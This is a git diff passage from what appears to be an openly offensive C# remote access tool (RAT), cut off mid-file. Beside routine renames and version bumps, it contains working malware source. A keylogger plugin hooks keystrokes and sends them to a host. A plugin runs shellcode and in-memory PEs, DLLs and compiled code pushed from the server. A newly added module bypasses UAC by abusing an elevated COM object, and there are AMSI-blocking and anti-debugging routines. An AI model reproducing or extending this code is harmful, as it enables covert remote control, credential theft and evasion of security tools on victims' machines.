Binary files /dev/null and b/Remote Access Tool/Plugins/Information/obj/Release/Costura/96685BD6896DD6A7306053E3A5B8ED351BD6628A.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/Plugins/Information/obj/Release/DesignTimeResolveAssemblyReferences.cache
index c67fb068..3612f680 100644
Binary files a/Remote Access Tool/Plugins/Information/obj/Release/DesignTimeResolveAssemblyReferences.cache and b/Remote Access Tool/Plugins/Information/obj/Release/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.AssemblyReference.cache
index 2d4318a2..872699d2 100644
Binary files a/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache
index eb5a3ecd..1141c802 100644
--- a/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-a54be6b758032eb32a04fa2b26913c453e86ede8
+fba354ae6fa2993934824681655376eaf99853fb
diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Information.dll b/Remote Access Tool/Plugins/Information/obj/Release/Information.dll
index e4c0daaf..05f98782 100644
Binary files a/Remote Access Tool/Plugins/Information/obj/Release/Information.dll and b/Remote Access Tool/Plugins/Information/obj/Release/Information.dll differ
diff --git a/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs b/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs
index 3ea6ded9..6c4afab6 100644
--- a/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs
@@ -155,7 +155,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.KEYLOG_OFF:
this.hasToExit = true;
@@ -183,7 +183,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/Keylogger/Launch.cs b/Remote Access Tool/Plugins/Keylogger/Launch.cs
index a5581db4..d1667cb7 100644
--- a/Remote Access Tool/Plugins/Keylogger/Launch.cs
+++ b/Remote Access Tool/Plugins/Keylogger/Launch.cs
@@ -18,14 +18,14 @@ public static class Launch
internal static string HWID;
public static void Main(LoadingAPI loadingAPI)
{
- Launch.key = loadingAPI.key;
- Launch.baseIp = loadingAPI.baseIp;
+ Launch.key = loadingAPI.Key;
+ Launch.baseIp = loadingAPI.BaseIp;
Launch.HWID = loadingAPI.HWID;
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.KEYLOG_ON:
- clientHandler = new ClientHandler(loadingAPI.host, key);
+ clientHandler = new ClientHandler(loadingAPI.Host, key);
clientHandler.ConnectStart();
KeyLib.Hook.StartHooking();
break;
diff --git a/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs
index da53071f..2dec6dae 100644
--- a/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache
index 300a9729..2101755e 100644
Binary files a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache
index 941febdd..3ed79c68 100644
--- a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-35daa1185dd0b313c2d25e93ad7de465809f57b2
+850fa9d7e095bda8479c6585a81c4b669e121de8
diff --git a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.dll b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.dll
index ca52feee..5a7f84c0 100644
Binary files a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.dll and b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.dll differ
diff --git a/Remote Access Tool/Plugins/MemoryExecution/Launch.cs b/Remote Access Tool/Plugins/MemoryExecution/Launch.cs
index 630858cc..a324d25b 100644
--- a/Remote Access Tool/Plugins/MemoryExecution/Launch.cs
+++ b/Remote Access Tool/Plugins/MemoryExecution/Launch.cs
@@ -19,46 +19,46 @@ public static void Main(LoadingAPI loadingAPI)
{
MemoryExecutionPacket memoryExecutionPacket;
byte[] decompressed;
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.MEM_EXEC_SHELLCODE:
- memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket;
+ memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;
decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);
ShellCode.RunShellCode(decompressed);
break;
case PacketType.MEM_EXEC_NATIVE_PE:
- memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket;
+ memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;
decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);
NativePE.LoadPE(decompressed);
break;
case PacketType.MEM_EXEC_NATIVE_DLL:
- memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket;
+ memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;
decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);
NativeDll.LoadDll(decompressed);
break;
case PacketType.MEM_EXEC_MANAGED_DLL:
- memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket;
+ memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;
decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);
ManagedDll.LoadDll(decompressed, memoryExecutionPacket.managedEntryPoint);
break;
case PacketType.MEM_EXEC_MANAGED_PE:
- memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket;
+ memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;
decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);
ManagedExe.LoadExe(decompressed);
break;
case PacketType.MEM_EXEC_CSHARP_CODE:
DotNetCode.Compiler(new CSharpCodeProvider(new Dictionary() {
- {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.currentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.currentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.currentPacket).compilerOptions);
+ {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions);
break;
case PacketType.MEM_EXEC_VB_CODE:
DotNetCode.Compiler(new VBCodeProvider(new Dictionary() {
- {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.currentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.currentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.currentPacket).compilerOptions);
+ {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions);
break;
default:
diff --git a/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs
index 8192ca15..5641d494 100644
--- a/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache
index 3abaf2ad..d17112ab 100644
Binary files a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache
index 36f9662e..f3908b68 100644
--- a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-7d96474df0dab3f2681d13850a69624329c9a12d
+5466ec8897c23314c966885ddb78fdf06b4ec5ac
diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll
index 0e80fde0..3613a529 100644
Binary files a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll and b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll differ
diff --git a/Remote Access Tool/Plugins/Miscellaneous/Launch.cs b/Remote Access Tool/Plugins/Miscellaneous/Launch.cs
index 24c18f56..5999ebea 100644
--- a/Remote Access Tool/Plugins/Miscellaneous/Launch.cs
+++ b/Remote Access Tool/Plugins/Miscellaneous/Launch.cs
@@ -13,7 +13,7 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.MISC_AUDIO_UP:
Audio.IncreaseVolume();
@@ -32,7 +32,7 @@ public static void Main(LoadingAPI loadingAPI)
break;
case PacketType.MISC_SET_WALLPAPER:
- WallPaperPacket wallPaperPacket = (WallPaperPacket)loadingAPI.currentPacket;
+ WallPaperPacket wallPaperPacket = (WallPaperPacket)loadingAPI.CurrentPacket;
UI.SetWallpaper(Compressor.QuickLZ.Decompress(wallPaperPacket.wallpaper), wallPaperPacket.ext);
break;
@@ -45,7 +45,7 @@ public static void Main(LoadingAPI loadingAPI)
break;
case PacketType.MISC_SCREEN_ROTATION:
- ScreenRotationPacket screenRotationPacket = (ScreenRotationPacket)loadingAPI.currentPacket;
+ ScreenRotationPacket screenRotationPacket = (ScreenRotationPacket)loadingAPI.CurrentPacket;
ScreenRotation.Rotate(screenRotationPacket.degrees);
break;
@@ -54,7 +54,7 @@ public static void Main(LoadingAPI loadingAPI)
break;
case PacketType.MISC_OPEN_WEBSITE_LINK:
- Link.OpenLink(((OpenUrlPacket)loadingAPI.currentPacket).url);
+ Link.OpenLink(((OpenUrlPacket)loadingAPI.CurrentPacket).url);
break;
default:
diff --git a/Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs
index dec1098e..42b35679 100644
--- a/Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.AssemblyReference.cache
index c6b72c58..eb9d7c93 100644
Binary files a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache
index 9235711d..b5c12324 100644
--- a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-c87080c8d70a6c8fbadf931b301385ed164ea1b9
+cd9b06406ebb28e7e921fa4a339edcfd2546bab0
diff --git a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll
index f2d43373..abc98cbd 100644
Binary files a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll and b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll differ
diff --git a/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs b/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs
index 068344ba..f0c3a866 100644
--- a/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs
@@ -88,7 +88,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
int sent = socket.Send(header);
diff --git a/Remote Access Tool/Plugins/Offline/Offline.csproj b/Remote Access Tool/Plugins/Offline/Offline.csproj
index e213c729..4bbe3e26 100644
--- a/Remote Access Tool/Plugins/Offline/Offline.csproj
+++ b/Remote Access Tool/Plugins/Offline/Offline.csproj
@@ -53,9 +53,14 @@
+
+
+
+
+
diff --git a/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs
index 258d3d83..c2559244 100644
--- a/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.2.0")]
-[assembly: AssemblyFileVersion("3.2.2.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Offline/Special/AMSI.cs b/Remote Access Tool/Plugins/Offline/Special/AMSI.cs
index 84f8b98b..419008e8 100644
--- a/Remote Access Tool/Plugins/Offline/Special/AMSI.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/AMSI.cs
@@ -1,5 +1,6 @@
using System;
using System.Runtime.InteropServices;
+using static Offline.Special.Commons;
/*
|| AUTHOR Arsium ||
@@ -11,7 +12,7 @@ namespace Offline.Special
{
internal static class AMSI
{
- [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]
delegate IntPtr LoadLibrary
(
byte[] name
@@ -36,7 +37,7 @@ static void PrepareDelegate()
loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary));
virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect));
- }
+ }*/
static IntPtr LoadAmsi()
{
@@ -45,7 +46,7 @@ static IntPtr LoadAmsi()
internal static bool BlockIt()
{
- PrepareDelegate();
+ //PrepareDelegate();
IntPtr amsiDll = Resolver.GetModuleBaseAddress("amsi.dll", (IntPtr)(-1));
if (amsiDll == IntPtr.Zero)
diff --git a/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs b/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs
index bcbba436..dc68fb30 100644
--- a/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs
@@ -21,7 +21,7 @@ static AntiDBG()
}
- [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]
delegate NtStatus RtlAdjustPrivilege
(
RTL_PRIVILEGES privilege,
@@ -50,11 +50,11 @@ static void PrepareDelegate()
IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError");
rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege));
ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError));
- }
+ }*/
internal static void BlockIt()
{
- PrepareDelegate();
+ //PrepareDelegate();
new Thread(() =>
{
isThreadLaunched = true;
diff --git a/Remote Access Tool/Plugins/Offline/Special/COM.cs b/Remote Access Tool/Plugins/Offline/Special/COM.cs
new file mode 100644
index 00000000..9dfdce00
--- /dev/null
+++ b/Remote Access Tool/Plugins/Offline/Special/COM.cs
@@ -0,0 +1,59 @@
+using System;
+using System.Runtime.InteropServices;
+using System.Text;
+using static Offline.Special.Commons;
+
+/*
+|| AUTHOR https://www.796t.com/article.php?id=182188 ||
+|| Found https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ ||
+|| Original https://github.com/0xlane/BypassUAC ||
+|| Found https://github.com/kosh-cyber/BypassUac ||
+|| github : https://github.com/arsium ||
+|| This method combines PEB masquerading + abusing com object. Reworked the method from original method to make them working with x64 + manually resolve syscalls + testing some methods :)||
+*/
+
+namespace Offline.Special
+{
+ internal class COM
+ {
+ private unsafe static object LaunchElevatedCOMObjectUnsafe(Guid Clsid, Guid InterfaceID)
+ {
+ string CLSID = Clsid.ToString("B"); // B formatting directive: returns {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
+ string monikerName = "Elevation:Administrator!new:" + CLSID;
+
+ BIND_OPTS3 bo = new BIND_OPTS3();
+ bo.cbStruct = (uint)Marshal.SizeOf(bo);
+ bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;
+ void* retVal;
+
+ int h = coGetObject(Encoding.Unicode.GetBytes(monikerName), &bo, &InterfaceID, &retVal);
+ if (h != 0) return null;
+
+ return Marshal.GetObjectForIUnknown((IntPtr)retVal);
+ }
+
+ internal unsafe static Parser.HRESULT Start(string filePath, string param = null)
+ {
+ //3E000D72-A845-4CD9-BD83-80C07C3B881F this one works but weird way with prompt (auto approval = false)
+ //3E5FC7F9-9A51-4367-9063-A120244FBEC7
+
+ Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
+
+ //D4309536-E369-4241-A4DD-3D10A257A1C2
+ //6EDD6D74-C007-4E75-B76A-E5740995E24C
+
+ Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
+
+ object elvObject = LaunchElevatedCOMObjectUnsafe(classId, interfaceId);
+
+ if (elvObject != null)
+ {
+ ILua ihw = (ILua)elvObject;
+ ihw.ShellExec(filePath, null, null, 0, 5);
+ Marshal.ReleaseComObject(elvObject);
+ return Parser.HRESULT.S_OK;
+ }
+ return Parser.HRESULT.S_FALSE;
+ }
+ }
+}
diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs
new file mode 100644
index 00000000..8652d445
--- /dev/null
+++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs
@@ -0,0 +1,145 @@
+using System;
+using System.Runtime.InteropServices;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Offline.Special
+{
+ internal partial class Commons
+ {
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate void RtlInitUnicodeString
+ (
+ ref UnicodeString DestinationString,
+ [MarshalAs(UnmanagedType.LPWStr)] string SourceString
+ );
+
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate void RtlEnterCriticalSection(IntPtr lpCriticalSection);
+
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate void RtlLeaveCriticalSection(IntPtr lpCriticalSection);
+
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal unsafe delegate int CoGetObject
+ (
+ byte[] pszName,
+ BIND_OPTS3* pBindOptions,
+ Guid* riid,
+ void** rReturnedComObject
+ );
+
+ [UnmanagedFunctionPointer(CallingConvention.StdCall)]
+ internal unsafe delegate NtStatus NtProtectVirtualMemory
+ (
+ void* ProcessHandle,
+ void* BaseAddress,
+ uint* NumberOfBytesToProtect,
+ PageAccessType NewAccessProtection,
+ PageAccessType* OldAccessProtection
+ );
+
+
+ [UnmanagedFunctionPointer(CallingConvention.StdCall)]//Cdecl FOR MANUAL SYSCALL, StdCall otherwise
+ internal delegate uint NtWriteVirtualMemory
+ (
+ IntPtr ProcessHandle,
+ IntPtr BaseAddress,
+ IntPtr buffer,
+ UIntPtr bufferSize,
+ out UIntPtr written
+ );
+
+
+ [UnmanagedFunctionPointer(CallingConvention.StdCall)]
+ internal unsafe delegate NtStatus NtAllocateVirtualMemory
+ (
+ void* ProcessHandle,
+ void* BaseAddress,
+ uint ZeroBits,
+ uint* RegionSize,
+ MemoryAllocationType AllocationType,
+ PageAccessType Protect
+ );
+
+ #region "AMSI"
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate IntPtr LoadLibrary
+ (
+ byte[] name
+ );
+
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate bool VirtualProtect
+ (
+ IntPtr lpAddress,
+ UIntPtr dwSize,
+ uint flNewProtect,
+ out uint lpflOldProtect
+ );
+
+ internal static LoadLibrary loadLibrary;
+ internal static VirtualProtect virtualProtect;
+ #endregion
+ #region "AntiDBG"
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate NtStatus RtlAdjustPrivilege
+ (
+ RTL_PRIVILEGES privilege,
+ bool bEnablePrivilege,
+ bool IsThreadPrivilege,
+ out bool PreviousValue
+ );
+
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate NtStatus NtRaiseHardError
+ (
+ uint ErrorStatus,
+ uint NumberOfParameters,
+ uint UnicodeStringParameterMask,
+ IntPtr Parameters,
+ HARDERROR_RESPONSE_OPTION ValidResponseOption,
+ out HARDERROR_RESPONSE Response
+ );
+
+ internal static RtlAdjustPrivilege rtlAdjustPrivilege;
+ internal static NtRaiseHardError ntRaiseHardError;
+ #endregion
+ #region "ETW"
+ internal delegate NtStatus NtProtectVirtualMemorySafe
+ (
+ IntPtr ProcessHandle,
+ ref IntPtr BaseAddress,
+ ref uint NumberOfBytesToProtect,
+ PageAccessType NewAccessProtection,
+ ref PageAccessType OldAccessProtection
+ );
+ internal static NtProtectVirtualMemorySafe ntProtectVirtualMemorySafe;
+ #endregion
+ #region "PEFromPEB"
+ [UnmanagedFunctionPointer(CallingConvention.Winapi)]
+ internal delegate NtStatus NtWriteVirtualMemorySafe
+ (
+ IntPtr ProcessHandle,
+ IntPtr BaseAddress,
+ byte[] Buffer,
+ uint NumberOfBytesToWrite,
+ out uint NumberOfBytesWritten
+ );
+
+
+ internal static NtWriteVirtualMemorySafe ntWriteVirtualMemorySafe;
+ #endregion
+
+ internal static NtProtectVirtualMemory ntProtectVirtualMemory;
+ internal static NtWriteVirtualMemory ntWriteVirtualMemory;
+ internal static RtlInitUnicodeString rtlInitUnicodeString;
+ internal static RtlEnterCriticalSection rtlEnterCriticalSection;
+ internal static RtlLeaveCriticalSection rtlLeaveCriticalSection;
+ //private static NtQueryInformationProcessDel ntQueryInformationProcess;
+ internal static CoGetObject coGetObject;
+ }
+}
diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs
new file mode 100644
index 00000000..cf0f901a
--- /dev/null
+++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs
@@ -0,0 +1,33 @@
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace Offline.Special
+{
+ internal static partial class Commons
+ {
+ [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+ internal interface ILua
+ {
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method1();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method2();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method3();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method4();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method5();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ void Method6();
+ [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
+ Parser.HRESULT ShellExec(
+ [In, MarshalAs(UnmanagedType.LPWStr)] string file,
+ [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
+ [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
+ [In] uint fMask,
+ [In] uint nShow);
+ }
+ }
+}
diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs
index 48b6a8df..5aafee75 100644
--- a/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs
+++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs
@@ -398,6 +398,19 @@ internal struct LargeInteger
[FieldOffset(4)] public int HighPartAsInt;
[FieldOffset(4)] public uint HighPartAsUInt;
}
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct BIND_OPTS3
+ {
+ public uint cbStruct;
+ public uint grfFlags;
+ public uint grfMode;
+ public uint dwTickCountDeadline;
+ public uint dwTrackFlags;
+ public uint dwClassContext;
+ public int locale;
+ public IntPtr pServerInfo; // will be passing null, so type doesn't matter
+ public IntPtr hwnd;
+ }
#endregion
#region "Shutdown"
internal enum HARDERROR_RESPONSE_OPTION : uint
diff --git a/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs b/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs
new file mode 100644
index 00000000..9503dbeb
--- /dev/null
+++ b/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs
@@ -0,0 +1,69 @@
+using System;
+using System.Runtime.InteropServices;
+using static Offline.Special.Commons;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Offline.Special
+{
